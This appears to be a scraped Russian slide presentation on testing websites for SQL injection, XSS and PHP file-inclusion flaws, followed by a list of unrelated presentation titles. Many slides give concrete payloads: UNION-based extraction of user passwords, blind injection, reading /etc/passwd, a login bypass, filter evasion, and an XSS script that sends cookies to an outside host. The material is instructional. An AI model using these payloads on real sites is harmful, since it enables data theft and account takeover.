Содержание
- 2. Зачем нужно тестировать защищенность 90% сайтов опасны для пользователей и представляют угрозу бизнесу. 43% сайтов не
- 3. SQL Injection Внедрение SQL-кода — один из распространённых способов взлома сайтов и программ, работающих с базами
- 5. Что может получить злоумышленник
- 7. Архитектура уязвимости типа SQL Injection
- 8. Простейший способ обнаружить уязвимость Добавляем одинарную кавычку к запросу: http://www.site.com/?id=1‘ Получаем ошибку типа: Warning: mysql_fetch_object(): supplied
- 9. Почему так происходит? query = "SELECT * FROM news WHERE id = '" + id +
- 10. Какие еще есть способы проверки? Использование простых арифметических операций в запросе: site.com/index.php?id=2-1(Выводит страницу 1) site.com/index.php?id=1*2(Выводит страницу
- 11. Как этим пользоваться? /?id=1' UNION SELECT user,password FROM users-- SELECT title,text FROM news WHERE id =
- 12. Blind SQL injection Тестирование истинных и ложных запросов: site.com/index.php?id=2’ AND ‘1’ = ‘1’-- site.com/index.php?id=2’ AND ‘1’=‘2’--
- 13. Double-blind injection Посимвольный перебор с помощью Benchmark: site.com/index.php?id=2’ OR id= IF(ASCII(SUBSTRING((SELECT USER()), 1, 1)))>=100, 1, BENCHMARK(2999999,MD5(NOW())))
- 14. На что еще обращать внимание? URL: http://www.google.com/search?q=inurl:select+inurl:%2520+inurl:from+inurl:where
- 15. Практика, или SQL Injection глазами злоумышленника Определение типа базы данных Проверка прав пользователя на запись файлов
- 16. Ошибки характерные для разных видов баз данных
- 17. Подбор количества столбцов 1. Простой перебор допустим у нас есть сайт с инъекцией: www.site.com/index.php?id=1‘ Выполняем такой
- 18. 2. Оператор ORDER BY www.site.com/index.php?id=-1+order+by+1-- ошибки нет, значит столбцов 1 или больше 1 www.site.com/index.php?id=-1+order+by+9999-- должна появится
- 19. Определение вывода Предположим мы подобрали количество столбцов и их оказалось 4 www.site.com/index.php?id=-1+union+select+null,null,null,null Теперь нас интересует в
- 20. Получаем информацию о версии и пользователе Для получения информации о текущем пользователе используется функция user() www.site.com/index.php?id=-1+union+select+null,user(),null,null--
- 21. Чтение и запись файлов Проверка возможности чтения/записи файлов: www.site.com/index.php?id=-1+union+select+null,file_priv,null,null+union+select+file_priv+from+mysql.user+where+user= ‘%USERNAME%'-- Чтение файла www.site.com/index.php?id=-1+union+select+null,file_priv,null,null+union+select+ union+select+LOAD_FILE('/etc/passwd')+from+mysql.user--
- 22. Узнаем таблицы Для получения информации о таблицах и колонках необходимо обратиться к служебной таблице Information_schema www.site.com/index.php?id=-1+union+select+null,TABLE_NAME,null,null+from+INFO
- 23. Получаем информацию о колонках Перебрав таблицы, определяем ту которая нам будет интересна. Пусть это будет USER,
- 24. Фильтрация кавычек Чаще всего, проделав действия описанные на предыдущем слайде, вы увидите ошибку: ERROR: syntax error
- 25. Фильтрация кавычек Второй способ: использование вложенного подзапроса www.site.com/index.php?id=-1+union+select+null,COLUMN_NAME,null,null+from+INF ORMATION_SCHEMA.COLUMNS+where+TABLE_NAME=(select+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+limit+1+offset+1)--
- 26. Фильтация пробелов В случае фильтрации пробелов существуют следующий способы обхода фильтра: Использование пробельных символов «/*!*/» и
- 27. Получение информации из таблицы Составляем запрос: www.site.com/index.php?id=-1+union+select+null,username,null,null+from+user-- Он возвратит нам в данном случае имя пользователя Можно
- 28. Уязвимость в скрипте авторизации Поле ввода имени пользователя: Username’-- Поле ввода пароля: 123' OR login='Admin' –
- 29. Демонстрация примеров
- 30. Программы для работы с инъекциями SQL InjectMe – плагин для Firefox Absinthe – утилита для проведения
- 31. XSS XSS (Сross Site Sсriрting — «межсайтовый скриптинг») — тип уязвимости интерактивных информационных систем в вебе.
- 32. XSS
- 33. XSS Цель Выполнить «чужеродный» JavaScript-код в браузере клиента, когда он находится на атакуемом сайте Как это
- 34. Классификация XSS Активный XSS Внедренный скрипт сохраняется в системе и становится доступен для вывода другим пользователям
- 35. Чем мы рискуем? Кража Cookies var іmg = new Image(); іmg.srс = 'http://site/xss.php?' + document.cookie; Кража
- 36. Метод обнаружения /?id="> alert(1) HTML - код страницы примет вид .. alert(1) "... В результате браузер
- 37. Типичный случай Самая распространенная разновидность XSS: "> alert() Вся суть в "> После добавления к форме
- 39. Фильтры: определяем наличие и качество В любое поле вводим проверочную строку: '';!--" =&{()} Далее открываем HTML
- 40. Практика Допустим фильтр экранирует В этом случае существует вероятность обхода фильтра. К примеру, фильтр настроен на
- 41. Автозакрывающиеся скобки: >>>> бывает, что фильтр подсчитывает открывающиеся и закрывающиеся скобки и закрывает сам. Автозакрытие тегов:
- 42. Кража Cookies До этого мы рассматривали скрипты типа: alert (' Test ') javascript:alert (' Test ')/
- 43. Как воспользоваться этим скриптом? http://site.ru/free?p='> img=new Image();img.src="http://test.com/s/Hack.gif?"+document.cookie;"+document.cookie; http://site.ru/free?p='> При этом файл js.js содержит: img=new Image();img.src="http://test.com/s/Hack.gif?"+document.cookie; этот
- 44. Изменение кодировки http://ha.ckers.org/xss.html Изначально скрипт выглядел так: http://cite.com/test?p='> После: %68%74%74%70%3A%2F%2F%63%69%74%65%2E%63%6F%6D%2F%74%65%73%74%3F%70%3D%27%3E%3C%73%63%72%69%70%74%20%73%72%63%3D%68%74%74%70%3A%2F%2F%74%65%73%74%2E%6E%65%74%2F%73%63%72%69%70%74%2F%6A%73%2E%6A%73%3E%3C%2F%73%63%72%69%70%74%3E%0A
- 45. DDoS-атака XSS-уязвимость на многопосещаемых ресурсах может быть использована для проведения DDoS-атаки. Суть проста — много запросов,
- 46. Демонстрация примеров
- 47. Инструменты для обнаружения XSS XSSme – аддон для Firfox DOMinator – анализатор наличия DOM-based XSS
- 48. PHP Injection PHP Injection или создание веб шеллов – это второй по популярности после SQL инъекции
- 49. Уязвимые функции Eval() Include() Require() Create_function() Preg_replace()
- 50. Виды инклудов Include ("$page.php"); … ?> Возможен Remote File Inclusion (RFI) Include ("files/$page.htm"); … ?> Возможен
- 51. Метод определения уязвимости index.php?page=shop Подставим dsdsds вместо shop: Warning: main(dsdsds.php): failed to open stream: No such
- 52. Веб шелл Это происходит потому, что код страницы имеет такой элемент .. Include ("$page.php"); … ?>
- 53. Выход за пределы текущего каталога Apache Tomcat 5 версии ниже 5.5.22 и Apache Tomcat 6 ниже
- 54. Инструменты для обнаружения Graudit - семантически-статический анализатор кода RIPS – утилита для поискам уязвимостей в PHP
- 55. Демонстрация примеров
- 57. Скачать презентацию





















































Химический состав растений
Золотая империя Чжурчжэней - Цзинь
Презентация на тему Как разрушаются камни
Культурное развитие человека
Слайд по КЛН_фин
Обсуждаемые вопросы Определение и характеристики массива Принципы работы с массивами Объявление (декларация) Создание (выделение
Тексты по проверке техники чтения в начальной школе
8 Дыхание животныхПрезентация Microsoft PowerPoint
МОЙ ЛЮБИМЫЙ И РОДНОЙ ГОРОД КРАСНОДАР
Нотариат
Маркетинговые исследования. Кабинетные и полевые исследования
Взаимодействие специалистов социально-педагогической службы с классными руководителями
Тайм-менеджмент
Weihnachten in Deutschland
Требования положения о ВКР в ГАПОУ СО ЕТЭТ. Структура введения
Детская площадка из шин в Токио
Презентация на тему А 5 Синтаксические нормы
Сочинение по картине В.М.Васнецова «Иван-царевич на Сером Волке»
Состав гидросферы
Презентация на тему Все профессии важны
Операционная система Windows.Файловая система
Семь основных моделей первичной профилактики зависимостей
Презентация на тему Сочинение по картине Левитана «Весна. Большая вода» 4 класс
AzerGold Gift. May post plan
Дружба и любовь
Галицкий Михаил Викторович, Директор ГБОУ СОШ №1189
История возникновения и развития зимних видов спорта
Человек и космос